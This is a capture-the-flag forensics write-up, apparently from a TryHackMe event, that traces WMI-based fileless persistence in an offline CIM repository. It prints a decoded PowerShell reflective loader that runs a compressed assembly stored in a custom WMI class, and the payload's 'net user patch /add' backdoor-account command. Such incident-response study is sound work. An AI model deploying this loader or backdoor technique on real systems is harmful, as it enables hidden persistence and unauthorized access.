THM - After Hours

MediumTryHackMe13 min read

TryHackMe's Hacker Holiday 2026 · The Byte Lotus Hotel | Day 12

After Hours

Category: Forensics · Windows · Persistence · Reverse Engineering
Difficulty: Medium
Points: 90


The Brief

The scenario dropped me into a familiar spot for anyone who's done incident response: a resort's back-office machines were quietly humming long after the front desk and pool lights had gone dark. Someone — or something — had been logging in during the small hours, well after the night-shift technician clocked out.

The obvious places came back clean. Nothing in Startup, nothing in Scheduled Tasks, nothing in the registry Run keys. That's the tell. When the "front door" persistence mechanisms are empty but the box is clearly still checking in with someone, my mind immediately jumps to WMI Event Subscriptions — one of the classic "living off the land" fileless persistence techniques that doesn't show up in any of the places most junior analysts (or even some tools) think to check.

My itinerary for the day was three items:

Here's how I worked through it, and — more importantly — why I made each choice along the way.


What Am I Actually Looking At?

The archive I was handed contained:

Anyone who's spent time in Windows forensics will recognize this file set immediately — this is not a generic dump. This is the WMI Common Information Model (CIM) repository, normally found on disk at:

C:\Windows\System32\wbem\Repository\

  • OBJECTS.DATA — the actual object store; every WMI class definition and every class instance (including custom classes, filters, consumers, and bindings) lives inside this file as serialized binary records.
  • INDEX.BTR — a B-tree index into OBJECTS.DATA so the WMI service can look records up quickly instead of scanning linearly.
  • MAPPING*.MAP — page-mapping files that tell the WMI engine which physical pages in OBJECTS.DATA correspond to which logical records. Windows keeps up to three of these (MAPPING1/2/3.MAP) and rotates between them as a crude journaling/corruption-recovery scheme.

Seeing this file layout told me exactly what kind of investigation I was doing before I'd even opened a single file: this is a WMI persistence hunt. The "quietly humming after hours" narrative in the brief lines up perfectly — WMI Event Subscriptions are triggered by conditions (a timer, a logon, a specific event log entry) rather than living as a visible scheduled task or a Run key, which is exactly why the front-line checks in the brief came back clean.


Why WMI Persistence Hides So Well

Before touching a single command, it's worth being explicit about why WMI is such an attractive persistence mechanism for an attacker, because that theory is what drives every subsequent step.

WMI supports Permanent Event Subscriptions, built from three components that all live as class instances inside OBJECTS.DATA:

ComponentPurpose
__EventFilterDefines when to fire — a WQL query against a class like __InstanceCreationEvent or a timer (__IntervalTimerInstruction).
__EventConsumer (and its subclasses)Defines what happens when the filter fires. The interesting subclasses from an attacker's perspective are CommandLineEventConsumer (runs a command line), ActiveScriptEventConsumer (runs embedded VBScript/JScript), and NTEventLogEventConsumer (writes to the event log — usually benign).
__FilterToConsumerBindingGlues a Filter to a Consumer, i.e., "when this condition is true, run this consumer."

Because these three objects are stored as data inside the CIM repository, not as files on disk and not as registry Run-key entries, they're invisible to:

  • Autoruns-style startup enumeration
  • Task Scheduler review
  • Registry Run/RunOnce key review

The only way to find them is to either query WMI live via wmic/PowerShell (Get-WmiObject -Namespace root\subscription -Class __EventFilter, etc.) on a running system, or — in an offline forensic scenario like this one, where I only have the repository files and not a live host — parse OBJECTS.DATA directly. That's a purpose-built binary format, not something you can just grep and expect clean results from every time (although as I'll show, string-searching absolutely still has a role to play).

This is the theoretical basis for reaching for a dedicated WMI repository parser rather than jumping straight to strings.


Step 1 — Parsing the Repository with PyWMIPersistenceFinder

Why this tool specifically

I chose PyWMIPersistenceFinder.py, a script originally released by David Pany (FireEye/Mandiant) and maintained on GitHub at:

PyWMIPersistenceFinder.py is designed to find WMI persistence via FitlerToConsumerBindings

I went with this tool over writing my own parser or hand-walking the binary format for a few concrete reasons:

  1. It understands the OBJECTS.DATA binary structure natively. The CIM repository format is undocumented and has changed across Windows versions. Rather than reverse-engineer the record layout myself, I leaned on a tool that's already been validated against real-world WMI persistence incidents (it was released alongside Mandiant/FireEye's WMI persistence whitepaper, which is one of the foundational public references on this attacker technique).
  2. It automates exactly the correlation I need. The tool walks OBJECTS.DATA, extracts every __EventFilter, every __EventConsumer-derived object, and every __FilterToConsumerBinding, and then joins them together so I get human-readable "Filter X triggers Consumer Y" pairs instead of having to manually cross-reference GUIDs/keys between hundreds of raw records myself.
  3. It's built for exactly this offline scenario. It only needs the OBJECTS.DATA file (it doesn't strictly require the .MAP/.BTR files, since it does its own linear parsing of the object store), which matched the artifact set I was handed.

Running it

bash
python2 PyWMIPersistenceFinder.py OBJECTS.DATA

What it told me

The tool successfully parsed the repository and found exactly one FilterToConsumerBinding:

  • Consumer: NTEventLogEventConsumer named "SCM Event Log Consumer"
  • Filter: "SCM Event Log Filter", querying select * from MSFT_SCMEventLogEvent

The tool itself flagged this as a common binding based on the naming convention, and noted it's "possibly legitimate." NTEventLogEventConsumer bound to Service Control Manager state-change events is a pattern Windows itself sometimes uses, and it isn't a code-execution consumer type (unlike CommandLineEventConsumer or ActiveScriptEventConsumer) — it just writes an event log entry. There's no command line, no script body, nothing an attacker would use to actually do anything.

This is the pivot point of the whole investigation. If this had been a CommandLineEventConsumer with a suspicious command line, I'd have been done. But it wasn't. That told me the persistence I was hunting for either:

  • Wasn't implemented as a standard __FilterToConsumerBinding at all, or
  • Was hiding its payload somewhere PyWMIPersistenceFinder's binding-correlation logic wouldn't surface — e.g., stashed as data inside a custom, attacker-defined WMI class, rather than inside the standard filter/consumer/binding triad.

That second possibility is exactly what I went looking for next.


Step 2 — Falling Back to String Searching

Since the structured parser came back with nothing actionable, I dropped down a level and went after the raw bytes of OBJECTS.DATA directly with strings and grep. The goal here was to hunt for the fingerprints of the actual dangerous WMI consumer types and common attacker execution vectors, even if they weren't wired up through a clean binding the parser could recognize.

bash
strings OBJECTS.DATA | grep -iE "CommandLineEventConsumer|ActiveScriptEventConsumer|powershell|cmd\.exe|WScript" -B 5 -A 10 > OBJECTS.DATA.ASCII
# returns 1234 lines

Why these specific terms: CommandLineEventConsumer and ActiveScriptEventConsumer are the two WMI consumer classes that actually execute attacker-controlled content. powershell, cmd.exe, and WScript are the execution hosts almost every WMI-based dropper/stager shells out to. Grepping for all five in one pass, with -B 5 -A 10 for surrounding context, meant I'd catch any nearby class/property names even if the match itself was buried mid-record.

What I found

bash
head -n 100 OBJECTS.DATA.ASCII

Buried in the data was a large Base64 blob. Decoding Base64 first and then converting from UTF-16LE to UTF-8 gave me clean PowerShell source:

bash
echo "<base64 blob>" | base64 -d | iconv -f UTF-16LE -t UTF-8

Why Base64 and UTF-16LE together: PowerShell's -EncodedCommand convention (and a lot of WMI-embedded script content generally) encodes commands as Base64 of UTF-16LE text, specifically because PowerShell natively speaks UTF-16LE internally. Seeing that double-encoding pattern is itself a strong indicator of deliberate obfuscation/defense evasion — a defender skimming the raw repository for plaintext powershell.exe command lines would see nothing; they'd only see high-entropy Base64.

powershell
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null

What the decoded script actually does

Once decoded, the PowerShell logic read something like this (paraphrasing the logic, not the literal source):

  1. Reach into WMI itself and read a property called ConfigData off a custom class: ROOT\cimv2:Win32_HardwareTelemetry.
  2. Base64-decode that property's value.
  3. Feed the decoded bytes into a System.IO.Compression.DeflateStream in Decompress mode, reading from a MemoryStream.
  4. Stream the decompressed bytes out into a byte array in a loop.
  5. Call [Reflection.Assembly]::Load() on the resulting bytes, then invoke the loaded assembly's EntryPoint directly via .Invoke().

This is a textbook fileless, in-memory reflective .NET loader:

  • The "real" payload never touches disk as a standalone .exe — it's smuggled as data inside an otherwise innocuous-looking custom WMI class property (Win32_HardwareTelemetry sounds like something a legitimate hardware-inventory agent might create, which is good camouflage).
  • Compressing it with raw Deflate keeps the embedded Base64 blob smaller and slightly less immediately fingerprintable.
  • Loading it via [Reflection.Assembly]::Load() and invoking the entry point directly means the payload runs entirely inside the PowerShell process's memory space — no dropped binary for on-disk AV/EDR signatures to catch, no new process spawned for the payload itself.

This explained why nothing showed up in Startup, Scheduled Tasks, or Run keys: the trigger was presumably a WMI event subscription (consistent with the repository artifacts I was given), and the payload was never resident on disk in executable form at all — it lived as a data property on a custom WMI class, decoded and executed purely in memory.


Step 3 — Locating and Extracting the Embedded Payload

Knowing the loader script pulls its payload from Win32_HardwareTelemetry's ConfigData property, my next move was obvious: go back into OBJECTS.DATA and specifically hunt for that class and property name, rather than blindly re-searching for generic execution keywords.

bash
strings OBJECTS.DATA | grep -iE "Win32_HardwareTelemetry|ConfigData" -B 5 -A 50 > OBJECTS.DATA.ASCIITelemetry

I widened the context window here (-A 50) deliberately — property values on custom classes, especially ones holding a compressed binary payload re-encoded as Base64, can be extremely long single "lines" in the strings output. I wanted to be sure I captured the entire blob and didn't truncate it partway through, which would have silently corrupted the decompression step later.

This search surfaced the actual ConfigData value: a large Base64-encoded string sitting right there as a property on the custom class, exactly where the decoded PowerShell script said it would be.

Reversing the encoding chain

The PowerShell loader told me precisely how to reverse this, since decoding is just running the encoding steps backwards:

  1. Base64-decode the blob → gives compressed bytes.
  2. Raw Deflate-decompress those bytes (matching DeflateStream, which — critically — does not include a zlib/gzip header, unlike the more common zlib.decompress() default).

I wrote a small Python script to do this cleanly rather than trying to chain shell one-liners with binary-safe piping, which gets fragile fast:

python
import base64
import zlib

b64_payload = "<the huge Base64 blob extracted from ConfigData>"

# Decode from Base64
compressed_data = base64.b64decode(b64_payload)

# Decompress using raw Deflate (no zlib header — this is what .NET's
# DeflateStream produces, unlike Python's default zlib wrapper format)
decompressed_data = zlib.decompress(compressed_data, -zlib.MAX_WBITS)

with open("payload.exe", "wb") as f:
    f.write(decompressed_data)

print("[+] Successfully extracted payload.exe!")

Why -zlib.MAX_WBITS specifically: this is the detail that will silently break the whole extraction if you get it wrong, so it's worth explaining properly. zlib.decompress() by default expects a zlib-wrapped Deflate stream, which includes a 2-byte header and a 4-byte Adler-32 checksum trailer. .NET's System.IO.Compression.DeflateStream, however, produces raw Deflate data with none of that wrapper. Passing a negative window-bits value to zlib.decompress() (-zlib.MAX_WBITS = -15) tells zlib "don't expect a header, just decompress the raw Deflate stream." Get this sign wrong and you get an immediate Error -3 while decompressing data: incorrect header check instead of a working binary. Recognizing that the loader script used .NET's DeflateStream (from the decoded PowerShell) is exactly what told me in advance which decompression mode I'd need — I didn't have to guess or trial-and-error it.

Running the script produced a clean PE file: payload.exe.


Step 4 — Analyzing the Extracted Payload

With an actual binary in hand, I went back to basics: pull the readable strings out of it and see what it's telling on itself.

bash
strings -el payload.exe

(Again reaching for the UTF-16LE pass alongside — or in this case instead of — plain ASCII, since .NET binaries frequently store their string literals as UTF-16LE internally, consistent with everything else in this chain.)

That surfaced several interesting artifacts:

  • bytelotusdc — almost certainly a hardcoded domain/hostname string, likely used as an environment check (i.e., the malware verifying it's actually running inside the intended target environment before doing anything).
  • Execution halted: Environment mismatch. — this confirms the theory above. The payload has some kind of guard clause that checks its execution context (domain name, hostname, etc.) against an expected value and bails out with this message if it doesn't match. This is a common anti-analysis / anti-sandbox technique — it keeps the payload from firing (and thus from being easily dynamic-analyzed) outside its intended target, and it also means a generic sandbox run wouldn't reveal the "real" behavior without either matching the environment or patching around the check.
  • cmd.exe and, critically:
    • /c net user patch [REDACTED] /add

That last line is the payload's actual objective, laid completely bare. net user <username> <password> /add creates a new local Windows user account. Here, the attacker is creating an account named patch — a nice bit of thematic naming, since "patch" is also exactly the kind of process/account name that could blend into legitimate-looking system administration activity ("just applying patches") — with a password set to a Base64-looking string.

This is the actual persistence mechanism the whole chain was building toward. The WMI event subscription is the trigger. The reflectively-loaded in-memory payload is the dropper logic. And the dropper's actual payload is dead simple and devastatingly effective: plant a valid local administrator-capable account credential, so that even if every artifact I've walked through so far gets cleaned up, the attacker still has a durable way back in via a legitimate-looking Windows login rather than malware that needs to keep running.

That's the "back-office machines keep humming... someone's been logging in during the small hours" from the original brief, explained end to end.


Step 5 — Decoding the Flag

Standard Base64 alphabet, valid length (a multiple of 4 after padding considerations), no obviously hash-like fixed length (MD5/SHA outputs are hex and fixed-width; this wasn't). Decoding it:

bash
echo "[REDACTED]" | base64 -d
# THM{REDACTED}

And there's the flag — and a fitting one, given that the entire chain hinged on an account literally named patch opening the backdoor.


Why the Investigation Worked This Way

Looking back at the full chain, a few decisions were load-bearing enough to call out explicitly:

  1. Recognizing the CIM repository file layout up front (OBJECTS.DATA / INDEX.BTR / MAPPING*.MAP) immediately scoped the investigation to WMI persistence, before I'd run a single command. That domain knowledge is what justified reaching for a WMI-specific tool instead of generic forensic triage.
  2. Trusting the structured parser (PyWMIPersistenceFinder) first, but not stopping when it came back "clean." A less careful pass might have seen the single, plausibly-legitimate NTEventLogEventConsumer binding and moved on. The brief's insistence that nothing showed up in the usual places was the signal to keep digging rather than accept a benign-looking result at face value.
  3. Understanding why WMI stores strings in UTF-16LE was the difference between finding the encoded PowerShell stager and missing it entirely with a plain ASCII strings pass.
  4. Reading the loader script before trying to extract the payload. The decoded PowerShell told me exactly which class/property to go back and search for (Win32_HardwareTelemetry / ConfigData), and exactly which decompression mode to use (raw Deflate via DeflateStream, not zlib-wrapped). Skipping straight to "grab any big Base64 blob and try to decompress it" would have led to a lot of failed guesses.
  5. The final payload's simplicity was the point. After several layers of obfuscation (WMI event subscription → custom class property → Base64 → raw Deflate → reflectively-loaded .NET assembly), the actual malicious action was a single net user /add command. Sophisticated delivery, unsophisticated (but very effective) objective — which is a pattern worth remembering: the complexity of a delivery chain doesn't tell you anything about the complexity of the actual goal.